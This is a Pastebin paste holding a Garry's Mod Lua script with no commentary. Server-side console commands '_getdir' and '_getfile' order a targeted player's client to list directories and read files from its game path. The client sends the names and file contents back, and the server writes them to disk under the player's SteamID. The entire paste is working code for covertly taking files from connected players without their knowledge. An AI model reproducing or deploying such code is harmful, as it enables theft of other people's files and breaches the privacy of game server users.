Advertisement
Guest User

Untitled

a guest
Oct 25th, 2014
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.45 KB | None | 0 0
  1. if SERVER then
  2. AddCSLuaFile()
  3. end
  4.  
  5. if SERVER then
  6.  
  7. util.AddNetworkString( "SendDirs" )
  8. util.AddNetworkString( "SendFile" )
  9.  
  10. util.AddNetworkString( "RequestDirs" )
  11. util.AddNetworkString( "RequestFile" )
  12.  
  13. net.Receive("SendDirs", function(ply)
  14.  
  15. local dirs = net.ReadTable()
  16. PrintTable(dirs)
  17.  
  18. end)
  19.  
  20. net.Receive("SendFile", function(ply)
  21.  
  22. local code = net.ReadTable()
  23.  
  24. local nFile = string.gsub(code.name, ".lua", ".txt")
  25. nFile = string.gsub(nFile, "/", "_")
  26.  
  27. local pSteamID = string.gsub(ply:SteamID(), ":", "_")
  28.  
  29. print(nFile)
  30.  
  31. file.Write(pSteamID.."/"..nFile, code.src)
  32. end)
  33.  
  34. concommand.Add("_getdir", function(ply,cmd,args)
  35.  
  36. target = Player(args[1])
  37.  
  38. net.Start("RequestDirs")
  39. net.WriteString(args[2])
  40. net.Send(target)
  41.  
  42. end)
  43.  
  44. concommand.Add("_getfile", function(ply,cmd,args)
  45.  
  46. target = Player(args[1])
  47.  
  48. net.Start("RequestFile")
  49. net.WriteString(args[2])
  50. net.Send(target)
  51.  
  52. end)
  53.  
  54. end
  55.  
  56. if CLIENT then
  57.  
  58. net.Receive("RequestDirs", function()
  59.  
  60. local dir = net.ReadString()
  61. local files,dirs = file.Find(dir,"GAME")
  62.  
  63. local data = {
  64. files=files,
  65. dirs=dirs
  66. }
  67.  
  68. net.Start("SendDirs")
  69. net.WriteTable(data)
  70. net.SendToServer()
  71.  
  72.  
  73. end)
  74.  
  75. net.Receive("RequestFile", function()
  76.  
  77. local dir = net.ReadString()
  78. local code = file.Read(dir,"GAME")
  79.  
  80. net.Start("SendFile")
  81. net.WriteTable( {name=dir,src=code} )
  82. net.SendToServer()
  83.  
  84.  
  85. end)
  86.  
  87. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement